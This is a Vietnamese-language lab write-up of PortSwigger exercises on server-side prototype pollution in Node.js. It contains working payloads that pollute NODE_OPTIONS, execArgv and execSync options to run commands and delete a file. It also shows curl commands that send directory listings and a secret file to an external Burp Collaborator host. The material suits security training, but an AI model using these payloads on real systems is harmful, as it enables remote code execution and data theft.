Identifying a Vulnerable Request
Biến môi trường NODE_OPTIONS
cho phép chúng ta định nghĩa một chuỗi các đối số dòng lệnh sẽ được sử dụng theo mặc định bất cứ khi nào chúng ta khởi động một tiến trình Node mới. Vì đây cũng là một thuộc tính trên đối tượng env
, chúng ta có thể kiểm soát nó thông qua prototype pollution nếu nó không được định nghĩa.
Một số hàm của Node để tạo các tiến trình con mới chấp nhận một thuộc tính tùy chọn là shell
, cho phép các nhà phát triển đặt một shell cụ thể, chẳng hạn như bash, để chạy các lệnh. Bằng cách kết hợp điều này với một thuộc tính NODE_OPTIONS
độc hại, chúng ta có thể làm ô nhiễm prototype theo cách gây ra tương tác với Burp Collaborator bất cứ khi nào một tiến trình Node mới được tạo:
"__proto__": {
"shell":"node",
"NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}
Tip
Dấu ngoặc kép được thoát trong tên máy chủ không hoàn toàn cần thiết. Tuy nhiên, điều này có thể giúp giảm các trường hợp dương tính giả bằng cách làm rối tên máy chủ để tránh các WAF và các hệ thống khác quét tìm tên máy chủ.
Remote Code Execution via child_process.fork()
Phương thức child_process.fork()
chấp nhận một đối tượng tùy chọn trong đó một trong những tùy chọn tiềm năng là thuộc tính execArgv
. Đây là một mảng các chuỗi chứa các đối số dòng lệnh sẽ được sử dụng khi tạo tiến trình con. Nếu nó không được các nhà phát triển định nghĩa, điều này cũng có khả năng có nghĩa là nó có thể được kiểm soát thông qua prototype pollution.
Đặc biệt đáng quan tâm là đối số --eval
, cho phép chúng ta truyền vào JavaScript tùy ý sẽ được thực thi bởi tiến trình con.
"execArgv": [
"--eval=require('<module>')"
]
Lab: Remote Code Execution via Server-side Prototype Pollution
Mục tiêu của lab này là xóa tệp /home/carlos/morale.txt
.
Phát hiện prototype pollution:
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
"__proto__": {
"json spaces": 16
}
}
Phản hồi cho thấy chúng ta có thể khai thác lỗ hổng prototype pollution:
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": true,
"json spaces": 16
}
Thêm thuộc tính env
và NODE_OPTIONS
:
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
"__proto__": {
"json spaces": 16,
"env": {
"EVIL": "console.log(require('child_process').execSync('rm /home/carlos/morale.txt').toString())//"
},
"NODE_OPTIONS": "--require /proc/self/environ"
}
}
Giải thích:
- Giá trị của
EVIL
sẽ được thêm vào/proc/self/environ
như một biến môi trường. //
cuối cùng được sử dụng để chú thích phần còn lại của nội dung/proc/self/environ
khi tệp này được coi là một tệp JavaScript.- Tùy chọn
--require
sẽ tải tệp/proc/self/environ
và coi nó như một tệp JavaScript cũng như chạy nó.
Info
Tham khảo Prototype Pollution to RCE | HackTricks
Sau đó, gửi một POST request đến /admin/jobs
để tạo các tiến trình con:
POST /admin/jobs HTTP/2
Host: 0a5d0001031c89d981a598bd00b40041.web-security-academy.net
Cookie: session=ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll
Content-Length: 126
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a5d0001031c89d981a598bd00b40041.web-security-academy.net
Referer: https://0a5d0001031c89d981a598bd00b40041.web-security-academy.net/admin
{
"csrf": "rlyQZboJav3ePsQ2Dir3u4AkeNlUEJCA",
"sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
"tasks": [
"db-cleanup",
"fs-cleanup"
]
}
Phản hồi của nó
HTTP/2 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 585
{
"results": [
{
"name": "db-cleanup",
"description": "Database cleanup",
"success": true
},
{
"name": "fs-cleanup",
"success": false,
"error": {
"code": 1,
"message": "Unexpected error."
}
}
]
}
Đồng thời, lab cũng được giải quyết.
Một giải pháp khác:
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "JF9mvjgbIw2SIrq78FBuvTOWNwB8XmgY",
"__proto__": {
"execArgv": [
"--eval=console.log(require('child_process').execSync('rm /home/carlos/morale.txt').toString())"
]
}
}
Remote Code Execution via child_process.execSync()
Trong một số trường hợp, ứng dụng có thể tự gọi phương thức execSync()
để thực thi các lệnh hệ thống.
Giống như fork()
, phương thức execSync()
chấp nhận một đối tượng tùy chọn có thể bị thao túng thông qua chuỗi prototype.
Để chèn các lệnh hệ thống, chúng ta có thể khai thác các thuộc tính shell
và input
:
- Tùy chọn
input
là một chuỗi màexecSync()
gửi đếnstdin
của tiến trình con để được thực thi như một lệnh. Tùy chọn này có thể được để không xác định nếu lệnh được cung cấp theo cách khác. - Tùy chọn
shell
chỉ định shell nào sẽ sử dụng, mặc định là shell hệ thống, và cũng có thể được để không xác định.
Bằng cách làm ô nhiễm các thuộc tính này, chúng ta có thể ghi đè lệnh dự định bằng một lệnh độc hại:
- Tùy chọn
shell
chỉ lấy tên thực thi của shell không có các đối số bổ sung. - Shell được thực thi với
-c
, nhưng trong Node, cờ này kích hoạt kiểm tra cú pháp thay vì chạy script, gây khó khăn cho việc sử dụng chính Node làm shell. - Shell phải chấp nhận các lệnh từ
stdin
vì payload thuộc tínhinput
được truyền theo cách này.
Mặc dù chúng không thực sự được dự định là shell, các trình soạn thảo văn bản Vim và ex đều đáp ứng tất cả các tiêu chí này một cách đáng tin cậy. Nếu một trong hai trình soạn thảo này được cài đặt trên máy chủ, điều này sẽ tạo ra một vector tiềm năng cho RCE:
"__proto__": {
"shell":"vim",
"input":":! <command>\n"
}
Một hạn chế nữa của kỹ thuật này là một số công cụ mà chúng ta có thể muốn sử dụng cho exploit của mình cũng không đọc dữ liệu từ stdin
theo mặc định. Tuy nhiên, có một vài cách đơn giản để giải quyết vấn đề này. Trong trường hợp của curl
, chẳng hạn, chúng ta có thể đọc stdin
và gửi nội dung làm phần thân của một POST
request bằng cách sử dụng đối số -d @-
.
Trong các trường hợp khác, chúng ta có thể sử dụng xargs
, chuyển đổi stdin
thành một danh sách các đối số có thể được truyền cho một lệnh.
Lab: Exfiltrating Sensitive Data via Server-side Prototype Pollution
Info
Làm theo giải pháp được cung cấp để giải quyết lab này.
Lỗ hổng được xác nhận bằng cách kiểm tra với cách tiếp cận ghi đè json spaces
.
Thêm shell
và input
vào phần thân request như sau để xác nhận rằng chúng ta có thể gửi request đến Burp Collaborator:
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "fKYmuasCzzDAw7H5dzzznh8kzN5pfdSn",
"__proto__": {
"shell": "vim",
"input": ":! curl http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com\n"
}
}
Sau đó, gửi POST request đến /admin/jobs
để kích hoạt phương thức execSync()
.
POST /admin/jobs HTTP/2
Host: 0a9300d3033efc9481ae0c3100d9008a.web-security-academy.net
Cookie: session=fKYmuasCzzDAw7H5dzzznh8kzN5pfdSn
Phản hồi cho thấy có một số lỗi:
{
"results": [
{
"name": "db-cleanup",
"success": false,
"error": {
"code": 1,
"message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 55 100 55 0 0 6111 0 --:--:-- --:--:-- --:--:-- 6111\n\r\nPress ENTER or type command to continue\r\n"
}
},
{
"name": "fs-cleanup",
"success": false,
"error": {
"code": 1,
"message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 55 100 55 0 0 2500 0 --:--:-- --:--:-- --:--:-- 2500\n\r\nPress ENTER or type command to continue\r\n"
}
}
]
}
Cũng có một số request DNS và HTTP được gửi đến Burp Collaborator, điều này xác nhận rằng chúng ta có thể gửi request đến Burp Collaborator để lấy dữ liệu:
ID | Time | Type | Payload | Source IP address |
---|---|---|---|---|
1 | 2024-Sep-03 13:40:41.971 UTC | DNS | 3korii4766eioqrjgk9olc2k2b82wukj | 34.245.205.188 |
2 | 2024-Sep-03 13:40:41.970 UTC | DNS | 3korii4766eioqrjgk9olc2k2b82wukj | 3.251.104.19 |
3 | 2024-Sep-03 13:40:41.971 UTC | DNS | 3korii4766eioqrjgk9olc2k2b82wukj | 3.251.104.54 |
4 | 2024-Sep-03 13:40:41.970 UTC | DNS | 3korii4766eioqrjgk9olc2k2b82wukj | 3.251.104.54 |
5 | 2024-Sep-03 13:40:41.976 UTC | HTTP | 3korii4766eioqrjgk9olc2k2b82wukj | 34.251.122.40 |
6 | 2024-Sep-03 13:40:44.043 UTC | HTTP | 3korii4766eioqrjgk9olc2k2b82wukj | 34.251.122.40 |
Tiếp theo, cập nhật lệnh để lấy nội dung của /home/carlos
:
ls /home/carlos | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
-d@-
có nghĩa là chúng ta chuyển hướng bất kỳ đầu vào nào từ stdin
đến phần thân request của một POST request được thực hiện bởi curl
.
Có một request được gửi đến Burp Collaborator:
POST / HTTP/1.1
Host: 3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
node_appssecret
Đây phải là tệp bí mật.
Cập nhật lệnh để đọc tệp đó:
cat /home/carlos/node_appssecret | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
Phản hồi cho thấy một lỗi:
cat: /home/carlos/node_appssecret: No such file or directory
Thử liệt kê tệp trong /home/carlos
với file
thay thế:
file /home/carlos/* | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
Request được gửi đến Burp Collaborator:
/home/carlos/node_apps: directory/home/carlos/secret: ASCII text, with no line terminators
Vì vậy, tệp chúng ta cần lấy là secret
:
cat /home/carlos/secret | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
Request chúng ta muốn:
POST / HTTP/1.1
Host: 3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
l7IMIBON9RiGma7oK9hILlaGqh0jGcP5
Related
list
from outgoing([[Port Swigger - Remote Code Execution via Server-side Prototype Pollution]])
sort file.ctime asc